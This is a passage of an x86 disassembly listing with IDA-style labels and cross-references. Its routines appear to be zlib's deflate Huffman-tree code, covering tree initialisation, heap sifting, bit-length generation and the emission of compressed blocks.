loc_603C99: ; CODE XREF: sub_60391C+379j test edx, edi jnz short loc_603C97 test edx, edx jz short loc_603CAD lea ecx, [edx-1] and ecx, edi add ecx, edx mov [ebp+var_4], ecx jmp short loc_603CB1 ; --------------------------------------------------------------------------- loc_603CAD: ; CODE XREF: sub_60391C+383j and [ebp+var_4], 0 loc_603CB1: ; CODE XREF: sub_60391C+38Fj cmp [ebp+var_4], 0 jnz short loc_603C61 loc_603CB7: ; CODE XREF: sub_60391C+341j mov eax, [ebp+var_20] mov ecx, [ebp+var_C] shl eax, 2 add [ebx], eax mov eax, [ebp+arg_10] mov [eax], ecx loc_603CC7: ; CODE XREF: sub_60391C+7Fj xor eax, eax loc_603CC9: ; CODE XREF: sub_60391C+CBj ; sub_60391C+1A6j ... pop edi pop esi pop ebx leave retn sub_60391C endp ; =============== S U B R O U T I N E ======================================= sub_603CCE proc near ; CODE XREF: sub_604F24+1D1p push esi lea ecx, [eax+94h] mov edx, 11Eh xor esi, esi loc_603CDC: ; CODE XREF: sub_603CCE+15j mov [ecx], si add ecx, 4 dec edx jnz short loc_603CDC push 1Eh lea ecx, [eax+988h] pop edx loc_603CEE: ; CODE XREF: sub_603CCE+27j mov [ecx], si add ecx, 4 dec edx jnz short loc_603CEE push 13h lea ecx, [eax+0A7Ch] pop edx loc_603D00: ; CODE XREF: sub_603CCE+39j mov [ecx], si add ecx, 4 dec edx jnz short loc_603D00 mov [eax+16ACh], esi mov [eax+16A8h], esi mov [eax+16B0h], esi mov [eax+16A0h], esi mov word ptr [eax+494h], 1 pop esi retn sub_603CCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603D2C proc near ; CODE XREF: sub_604C57+D7p ; sub_604C57+10Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [eax+ecx*4+0B5Ch] mov [ebp+var_4], edx mov edx, [eax+1450h] add ecx, ecx cmp ecx, edx jg loc_603DCD push ebx push esi loc_603D4F: ; CODE XREF: sub_603D2C+9Dj jge short loc_603D86 mov esi, [eax+ecx*4+0B60h] mov edx, [eax+ecx*4+0B5Ch] mov bx, [edi+esi*4] mov dx, [edi+edx*4] cmp bx, dx jb short loc_603D85 jnz short loc_603D86 mov dl, [esi+eax+1458h] mov esi, [eax+ecx*4+0B5Ch] cmp dl, [esi+eax+1458h] ja short loc_603D86 loc_603D85: ; CODE XREF: sub_603D2C+3Ej inc ecx loc_603D86: ; CODE XREF: sub_603D2C:loc_603D4Fj ; sub_603D2C+40j ... mov esi, [eax+ecx*4+0B5Ch] mov edx, [ebp+var_4] mov dx, [edi+edx*4] mov bx, [edi+esi*4] cmp dx, bx jb short loc_603DCB jnz short loc_603DB2 mov edx, [ebp+var_4] mov dl, [edx+eax+1458h] cmp dl, [esi+eax+1458h] jbe short loc_603DCB loc_603DB2: ; CODE XREF: sub_603D2C+71j mov edx, [ebp+arg_0] mov [eax+edx*4+0B5Ch], esi mov edx, [eax+1450h] mov [ebp+arg_0], ecx shl ecx, 1 cmp ecx, edx jle short loc_603D4F loc_603DCB: ; CODE XREF: sub_603D2C+6Fj ; sub_603D2C+84j pop esi pop ebx loc_603DCD: ; CODE XREF: sub_603D2C+1Bj mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [eax+edx*4+0B5Ch], ecx leave retn sub_603D2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603DDC proc near ; CODE XREF: sub_604C57+1CBp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h mov ecx, [eax+4] and [ebp+var_4], 0 mov [ebp+var_20], ecx push ebx mov ebx, [eax] mov eax, [eax+8] mov ecx, [eax] mov [ebp+var_28], ecx mov ecx, [eax+4] mov [ebp+var_24], ecx mov ecx, [eax+8] mov eax, [eax+10h] push edi mov [ebp+var_18], ecx mov [ebp+var_8], eax xor eax, eax push 8 lea edi, [edx+0B3Ch] pop ecx rep stosd lea eax, [edx+1454h] mov ecx, [eax] mov ecx, [edx+ecx*4+0B5Ch] and word ptr [ebx+ecx*4+2], 0 mov eax, [eax] inc eax mov ecx, 23Dh cmp eax, ecx jge loc_603F90 push esi lea esi, [edx+eax*4+0B5Ch] sub ecx, eax mov [ebp+var_14], esi mov [ebp+var_1C], ecx add eax, ecx loc_603E4E: ; CODE XREF: sub_603DDC+F6j mov ecx, [ebp+var_14] mov esi, [ecx] mov ecx, esi shl ecx, 2 mov [ebp+var_C], ecx movzx ecx, word ptr [ecx+ebx+2] movzx ecx, word ptr [ebx+ecx*4+2] inc ecx cmp ecx, [ebp+var_8] jle short loc_603E71 mov ecx, [ebp+var_8] inc [ebp+var_4] loc_603E71: ; CODE XREF: sub_603DDC+8Dj cmp esi, [ebp+var_20] mov edi, [ebp+var_C] mov [edi+ebx+2], cx jg short loc_603ECB inc word ptr [edx+ecx*2+0B3Ch] and [ebp+var_10], 0 cmp esi, [ebp+var_18] jl short loc_603E9B sub esi, [ebp+var_18] mov edi, [ebp+var_24] mov esi, [edi+esi*4] mov [ebp+var_10], esi loc_603E9B: ; CODE XREF: sub_603DDC+B1j mov esi, [ebp+var_C] movzx edi, word ptr [esi+ebx] mov esi, [ebp+var_10] add esi, ecx mov ecx, [ebp+var_28] imul esi, edi add [edx+16A8h], esi test ecx, ecx jz short loc_603ECB mov esi, [ebp+var_C] movzx ecx, word ptr [esi+ecx+2] add ecx, [ebp+var_10] imul ecx, edi add [edx+16ACh], ecx loc_603ECB: ; CODE XREF: sub_603DDC+A0j ; sub_603DDC+D9j add [ebp+var_14], 4 dec [ebp+var_1C] jnz loc_603E4E cmp [ebp+var_4], 0 jz loc_603F8F mov ecx, [ebp+var_8] lea esi, [edx+ecx*2+0B3Ch] loc_603EEC: ; CODE XREF: sub_603DDC+144j mov ecx, [ebp+var_8] dec ecx lea edi, [edx+ecx*2+0B3Ch] jmp short loc_603EFC ; --------------------------------------------------------------------------- loc_603EF9: ; CODE XREF: sub_603DDC+124j dec ecx dec edi dec edi loc_603EFC: ; CODE XREF: sub_603DDC+11Bj cmp word ptr [edi], 0 jz short loc_603EF9 dec word ptr [edx+ecx*2+0B3Ch] sub [ebp+var_4], 2 lea ecx, [edx+ecx*2+0B3Eh] add word ptr [ecx], 2 dec word ptr [esi] cmp [ebp+var_4], 0 jg short loc_603EEC mov ecx, [ebp+var_8] test ecx, ecx mov [ebp+var_4], ecx jz short loc_603F8F mov [ebp+var_10], esi loc_603F2F: ; CODE XREF: sub_603DDC+1B1j mov ecx, [ebp+var_10] movzx ecx, word ptr [ecx] test ecx, ecx mov [ebp+var_14], ecx jz short loc_603F82 lea esi, [edx+eax*4+0B5Ch] loc_603F43: ; CODE XREF: sub_603DDC+1A4j sub esi, 4 mov ecx, [esi] dec eax cmp ecx, [ebp+var_20] mov [ebp+var_28], esi jg short loc_603F7C lea ecx, [ebx+ecx*4] movzx esi, word ptr [ecx+2] cmp esi, [ebp+var_4] jz short loc_603F76 mov edi, [ebp+var_4] sub edi, esi movzx esi, word ptr [ecx] imul edi, esi mov si, word ptr [ebp+var_4] add [edx+16A8h], edi mov [ecx+2], si loc_603F76: ; CODE XREF: sub_603DDC+17Fj dec [ebp+var_14] mov esi, [ebp+var_28] loc_603F7C: ; CODE XREF: sub_603DDC+173j cmp [ebp+var_14], 0 jnz short loc_603F43 loc_603F82: ; CODE XREF: sub_603DDC+15Ej dec [ebp+var_4] sub [ebp+var_10], 2 cmp [ebp+var_4], 0 jnz short loc_603F2F loc_603F8F: ; CODE XREF: sub_603DDC+100j ; sub_603DDC+14Ej pop esi loc_603F90: ; CODE XREF: sub_603DDC+5Aj pop edi pop ebx leave retn sub_603DDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603F94 proc near ; CODE XREF: sub_604E3C+10p ; sub_604E3C+22p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx or [ebp+var_8], 0FFFFFFFFh push ebx push esi push edi push 7 mov esi, ecx movzx ecx, word ptr [eax+2] pop edx xor ebx, ebx test ecx, ecx push 4 pop edi jnz short loc_603FBA push 3 mov edx, 8Ah pop edi loc_603FBA: ; CODE XREF: sub_603F94+1Cj or word ptr [eax+esi*4+6], 0FFFFh test esi, esi jl loc_60404B add eax, 6 mov [ebp+var_4], eax inc esi loc_603FD0: ; CODE XREF: sub_603F94+B5j mov eax, ecx mov ecx, [ebp+var_4] movzx ecx, word ptr [ecx] inc ebx cmp ebx, edx jge short loc_603FE1 cmp eax, ecx jz short loc_604044 loc_603FE1: ; CODE XREF: sub_603F94+47j cmp ebx, edi mov edx, [ebp+arg_0] jge short loc_603FF4 lea edx, [edx+eax*4+0A7Ch] add [edx], bx jmp short loc_604023 ; --------------------------------------------------------------------------- loc_603FF4: ; CODE XREF: sub_603F94+52j test eax, eax jz short loc_60400E cmp eax, [ebp+var_8] jz short loc_604005 inc word ptr [edx+eax*4+0A7Ch] loc_604005: ; CODE XREF: sub_603F94+67j inc word ptr [edx+0ABCh] jmp short loc_604023 ; --------------------------------------------------------------------------- loc_60400E: ; CODE XREF: sub_603F94+62j cmp ebx, 0Ah jg short loc_60401C inc word ptr [edx+0AC0h] jmp short loc_604023 ; --------------------------------------------------------------------------- loc_60401C: ; CODE XREF: sub_603F94+7Dj inc word ptr [edx+0AC4h] loc_604023: ; CODE XREF: sub_603F94+5Ej ; sub_603F94+78j ... xor ebx, ebx test ecx, ecx mov [ebp+var_8], eax jnz short loc_604033 mov edx, 8Ah jmp short loc_60403A ; --------------------------------------------------------------------------- loc_604033: ; CODE XREF: sub_603F94+96j cmp eax, ecx jnz short loc_60403E push 6 pop edx loc_60403A: ; CODE XREF: sub_603F94+9Dj push 3 jmp short loc_604043 ; --------------------------------------------------------------------------- loc_60403E: ; CODE XREF: sub_603F94+A1j push 7 pop edx push 4 loc_604043: ; CODE XREF: sub_603F94+A8j pop edi loc_604044: ; CODE XREF: sub_603F94+4Bj add [ebp+var_4], 4 dec esi jnz short loc_603FD0 loc_60404B: ; CODE XREF: sub_603F94+2Fj pop edi pop esi pop ebx leave retn sub_603F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604050 proc near ; CODE XREF: sub_6044ED+220p ; sub_6044ED+22Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h or [ebp+var_14], 0FFFFFFFFh push ebx push esi movzx esi, word ptr [ecx+2] push edi push 7 mov [ebp+var_8], esi pop edi xor esi, esi cmp [ebp+var_8], esi push 4 pop ebx jnz short loc_604079 push 3 mov edi, 8Ah pop ebx loc_604079: ; CODE XREF: sub_604050+1Fj test edx, edx jl loc_6044E8 add ecx, 6 inc edx mov [ebp+var_C], ecx mov [ebp+var_18], edx loc_60408B: ; CODE XREF: sub_604050+492j mov ecx, [ebp+var_C] movzx ecx, word ptr [ecx] mov edx, [ebp+var_8] inc esi cmp esi, edi mov [ebp+var_10], edx mov [ebp+var_8], ecx mov [ebp+var_4], esi jge short loc_6040AA cmp edx, ecx jz loc_6044DB loc_6040AA: ; CODE XREF: sub_604050+50j cmp esi, ebx jge loc_60414F loc_6040B2: ; CODE XREF: sub_604050+F4j movzx edi, word ptr [eax+edx*4+0A7Eh] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edi cmp ecx, ebx jle short loc_604120 movzx esi, word ptr [eax+edx*4+0A7Ch] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl lea ecx, [edx+edi-10h] mov edx, [ebp+var_10] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_60413A ; --------------------------------------------------------------------------- loc_604120: ; CODE XREF: sub_604050+77j mov bx, [eax+edx*4+0A7Ch] shl bx, cl mov ecx, [eax+16BCh] or [eax+16B8h], bx add ecx, edi loc_60413A: ; CODE XREF: sub_604050+CEj dec esi mov [eax+16BCh], ecx mov [ebp+var_4], esi jnz loc_6040B2 jmp loc_6044B8 ; --------------------------------------------------------------------------- loc_60414F: ; CODE XREF: sub_604050+5Cj test edx, edx jz loc_6042DA cmp edx, [ebp+var_14] jz loc_6041F2 movzx edi, word ptr [eax+edx*4+0A7Eh] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edi cmp ecx, ebx jle short loc_6041CE movzx esi, word ptr [eax+edx*4+0A7Ch] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl lea ecx, [edx+edi-10h] mov edx, [ebp+var_10] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_6041E8 ; --------------------------------------------------------------------------- loc_6041CE: ; CODE XREF: sub_604050+125j mov bx, [eax+edx*4+0A7Ch] shl bx, cl mov ecx, [eax+16BCh] or [eax+16B8h], bx add ecx, edi loc_6041E8: ; CODE XREF: sub_604050+17Cj dec esi mov [eax+16BCh], ecx mov [ebp+var_4], esi loc_6041F2: ; CODE XREF: sub_604050+10Aj movzx edi, word ptr [eax+0ABEh] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edi cmp ecx, ebx mov [ebp+var_10], edi jle short loc_604261 movzx esi, word ptr [eax+0ABCh] mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov edi, [eax+14h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl mov ecx, [ebp+var_10] lea ecx, [ebx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_604277 ; --------------------------------------------------------------------------- loc_604261: ; CODE XREF: sub_604050+1B9j mov di, [eax+0ABCh] shl di, cl or [eax+16B8h], di mov edi, [ebp+var_10] add ecx, edi loc_604277: ; CODE XREF: sub_604050+20Fj add esi, 0FFFFFFFDh cmp ecx, 0Eh mov [eax+16BCh], ecx jle short loc_6042C9 mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov edi, [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl add ebx, 0FFFFFFF2h jmp loc_6043B5 ; --------------------------------------------------------------------------- loc_6042C9: ; CODE XREF: sub_604050+233j shl esi, cl or [eax+16B8h], si add ecx, 2 jmp loc_6044B2 ; --------------------------------------------------------------------------- loc_6042DA: ; CODE XREF: sub_604050+101j cmp esi, 0Ah mov ecx, [eax+16BCh] push 10h pop ebx jg loc_6043D8 movzx edi, word ptr [eax+0AC2h] sub ebx, edi cmp ecx, ebx mov [ebp+var_10], edi jle short loc_604352 movzx esi, word ptr [eax+0AC0h] mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov edi, [eax+14h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl mov ecx, [ebp+var_10] lea ecx, [ebx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_604368 ; --------------------------------------------------------------------------- loc_604352: ; CODE XREF: sub_604050+2AAj mov di, [eax+0AC0h] shl di, cl or [eax+16B8h], di mov edi, [ebp+var_10] add ecx, edi loc_604368: ; CODE XREF: sub_604050+300j add esi, 0FFFFFFFDh cmp ecx, 0Dh mov [eax+16BCh], ecx jle short loc_6043C7 mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov edi, [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl add ebx, 0FFFFFFF3h loc_6043B5: ; CODE XREF: sub_604050+274j ; sub_604050+451j mov [eax+16B8h], si mov [eax+16BCh], ebx jmp loc_6044B8 ; --------------------------------------------------------------------------- loc_6043C7: ; CODE XREF: sub_604050+324j shl esi, cl or [eax+16B8h], si add ecx, 3 jmp loc_6044B2 ; --------------------------------------------------------------------------- loc_6043D8: ; CODE XREF: sub_604050+296j movzx edi, word ptr [eax+0AC6h] sub ebx, edi cmp ecx, ebx mov [ebp+var_10], edi jle short loc_60443E movzx esi, word ptr [eax+0AC4h] mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov edi, [eax+14h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl mov ecx, [ebp+var_10] lea ecx, [ebx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_604454 ; --------------------------------------------------------------------------- loc_60443E: ; CODE XREF: sub_604050+396j mov di, [eax+0AC4h] shl di, cl or [eax+16B8h], di mov edi, [ebp+var_10] add ecx, edi loc_604454: ; CODE XREF: sub_604050+3ECj add esi, 0FFFFFFF5h cmp ecx, 9 mov [eax+16BCh], ecx jle short loc_6044A6 mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov edi, [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl add ebx, 0FFFFFFF7h jmp loc_6043B5 ; --------------------------------------------------------------------------- loc_6044A6: ; CODE XREF: sub_604050+410j shl esi, cl or [eax+16B8h], si add ecx, 7 loc_6044B2: ; CODE XREF: sub_604050+285j ; sub_604050+383j mov [eax+16BCh], ecx loc_6044B8: ; CODE XREF: sub_604050+FAj ; sub_604050+372j xor esi, esi cmp [ebp+var_8], esi mov [ebp+var_14], edx jnz short loc_6044C9 mov edi, 8Ah jmp short loc_6044D1 ; --------------------------------------------------------------------------- loc_6044C9: ; CODE XREF: sub_604050+470j cmp edx, [ebp+var_8] jnz short loc_6044D5 push 6 pop edi loc_6044D1: ; CODE XREF: sub_604050+477j push 3 jmp short loc_6044DA ; --------------------------------------------------------------------------- loc_6044D5: ; CODE XREF: sub_604050+47Cj push 7 pop edi push 4 loc_6044DA: ; CODE XREF: sub_604050+483j pop ebx loc_6044DB: ; CODE XREF: sub_604050+54j add [ebp+var_C], 4 dec [ebp+var_18] jnz loc_60408B loc_6044E8: ; CODE XREF: sub_604050+2Bj pop edi pop esi pop ebx leave retn sub_604050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6044ED proc near ; CODE XREF: sub_604F24+129p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [eax+16BCh] cmp ecx, 0Bh push ebx mov ebx, [ebp+arg_8] push esi push edi jle short loc_60455F mov esi, [ebp+arg_0] add esi, 0FFFFFEFFh mov edx, esi shl edx, cl mov ecx, [eax+14h] mov [ebp+var_4], ebx or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+var_4] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF5h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_60457A ; --------------------------------------------------------------------------- loc_60455F: ; CODE XREF: sub_6044ED+13j mov edx, [ebp+arg_0] add edx, 0FFFFFEFFh shl edx, cl or [eax+16B8h], dx add ecx, 5 mov [eax+16BCh], ecx loc_60457A: ; CODE XREF: sub_6044ED+70j mov ecx, [eax+16BCh] cmp ecx, 0Bh jle short loc_6045DD mov esi, [ebp+arg_4] dec esi mov edx, esi shl edx, cl mov ecx, [eax+14h] mov [ebp+var_4], ebx or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+var_4] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF5h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_6045F3 ; --------------------------------------------------------------------------- loc_6045DD: ; CODE XREF: sub_6044ED+96j mov edx, [ebp+arg_4] dec edx shl edx, cl or [eax+16B8h], dx add ecx, 5 mov [eax+16BCh], ecx loc_6045F3: ; CODE XREF: sub_6044ED+EEj mov ecx, [eax+16BCh] cmp ecx, 0Ch jle short loc_604655 lea esi, [ebx-4] mov edx, esi shl edx, cl mov ecx, [eax+14h] mov [ebp+var_4], ebx or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+var_4] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF4h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_60466A ; --------------------------------------------------------------------------- loc_604655: ; CODE XREF: sub_6044ED+10Fj lea edx, [ebx-4] shl edx, cl or [eax+16B8h], dx add ecx, 4 mov [eax+16BCh], ecx loc_60466A: ; CODE XREF: sub_6044ED+166j xor edi, edi test ebx, ebx jle loc_604703 loc_604674: ; CODE XREF: sub_6044ED+210j mov ecx, [eax+16BCh] cmp ecx, 0Dh movzx edx, ds:byte_60BE6C[edi] jle short loc_6046DF movzx esi, word ptr [eax+edx*4+0A7Eh] mov edx, esi shl edx, cl mov ecx, [eax+14h] or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+arg_8] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF3h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_6046FA ; --------------------------------------------------------------------------- loc_6046DF: ; CODE XREF: sub_6044ED+197j mov dx, [eax+edx*4+0A7Eh] shl dx, cl or [eax+16B8h], dx add ecx, 3 mov [eax+16BCh], ecx loc_6046FA: ; CODE XREF: sub_6044ED+1F0j inc edi cmp edi, ebx jl loc_604674 loc_604703: ; CODE XREF: sub_6044ED+181j mov edx, [ebp+arg_0] dec edx lea ecx, [eax+94h] call sub_604050 mov edx, [ebp+arg_4] dec edx lea ecx, [eax+988h] call sub_604050 pop edi pop esi pop ebx leave retn sub_6044ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604726 proc near ; CODE XREF: sub_604F24+13Ep ; sub_604F24+1C8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx mov ebx, [ebp+arg_0] xor ecx, ecx cmp [eax+16A0h], ecx push esi push edi jz loc_604A3B loc_604740: ; CODE XREF: sub_604726+30Fj mov edx, [eax+16A4h] movzx edi, word ptr [edx+ecx*2] mov edx, [eax+1698h] movzx esi, byte ptr [ecx+edx] inc ecx test edi, edi mov [ebp+var_C], edi mov [ebp+var_10], ecx push 10h jnz short loc_6047DB mov ecx, [eax+16BCh] lea esi, [ebx+esi*4] movzx edi, word ptr [esi+2] pop edx sub edx, edi cmp ecx, edx jle short loc_6047C7 movzx esi, word ptr [esi] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+arg_0] mov cl, 10h sub cl, dl shr si, cl lea ecx, [edx+edi-10h] mov [eax+16B8h], si jmp loc_604A26 ; --------------------------------------------------------------------------- loc_6047C7: ; CODE XREF: sub_604726+4Dj mov dx, [esi] shl dx, cl or [eax+16B8h], dx add ecx, edi jmp loc_604A26 ; --------------------------------------------------------------------------- loc_6047DB: ; CODE XREF: sub_604726+39j movzx edx, ds:byte_60C578[esi] mov ecx, edx shl ecx, 2 mov [ebp+var_4], ecx movzx ecx, word ptr [ecx+ebx+406h] pop ebx sub ebx, ecx mov [ebp+var_8], ecx mov ecx, [eax+16BCh] cmp ecx, ebx jle short loc_60485C mov edi, [ebp+arg_0] movzx edi, word ptr [edi+edx*4+404h] mov edx, edi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr di, cl mov ecx, [ebp+var_8] lea ecx, [edx+ecx-10h] mov [eax+16B8h], di mov edi, [ebp+var_C] jmp short loc_604876 ; --------------------------------------------------------------------------- loc_60485C: ; CODE XREF: sub_604726+DAj mov ebx, [ebp+arg_0] mov dx, [ebx+edx*4+404h] shl dx, cl or [eax+16B8h], dx mov edx, [ebp+var_8] add ecx, edx loc_604876: ; CODE XREF: sub_604726+134j mov [eax+16BCh], ecx mov ecx, [ebp+var_4] mov edx, ds:dword_60BD30[ecx] test edx, edx mov [ebp+var_4], edx jz short loc_6048FE sub esi, ds:dword_60C678[ecx] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edx cmp ecx, ebx jle short loc_6048ED mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl mov ecx, [ebp+var_4] lea ecx, [edx+ecx-10h] mov [eax+16B8h], si jmp short loc_6048F8 ; --------------------------------------------------------------------------- loc_6048ED: ; CODE XREF: sub_604726+179j shl esi, cl or [eax+16B8h], si add ecx, edx loc_6048F8: ; CODE XREF: sub_604726+1C5j mov [eax+16BCh], ecx loc_6048FE: ; CODE XREF: sub_604726+164j dec edi cmp edi, 100h jnb short loc_604910 movzx ecx, ds:byte_60C378[edi] jmp short loc_60491C ; --------------------------------------------------------------------------- loc_604910: ; CODE XREF: sub_604726+1DFj mov ecx, edi shr ecx, 7 movzx ecx, ds:byte_60C478[ecx] loc_60491C: ; CODE XREF: sub_604726+1E8j mov esi, ecx mov ecx, [ebp+arg_4] shl esi, 2 lea edx, [esi+ecx] movzx ecx, word ptr [edx+2] push 10h pop ebx sub ebx, ecx mov [ebp+var_8], ecx mov ecx, [eax+16BCh] cmp ecx, ebx mov [ebp+var_4], esi jle short loc_604992 movzx esi, word ptr [edx] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl mov ecx, [ebp+var_8] lea ecx, [edx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_6049A4 ; --------------------------------------------------------------------------- loc_604992: ; CODE XREF: sub_604726+218j mov dx, [edx] shl dx, cl or [eax+16B8h], dx mov edx, [ebp+var_8] add ecx, edx loc_6049A4: ; CODE XREF: sub_604726+26Aj mov ebx, [ebp+arg_0] mov [eax+16BCh], ecx mov edx, ds:dword_60BDA8[esi] test edx, edx mov [ebp+var_4], edx jz short 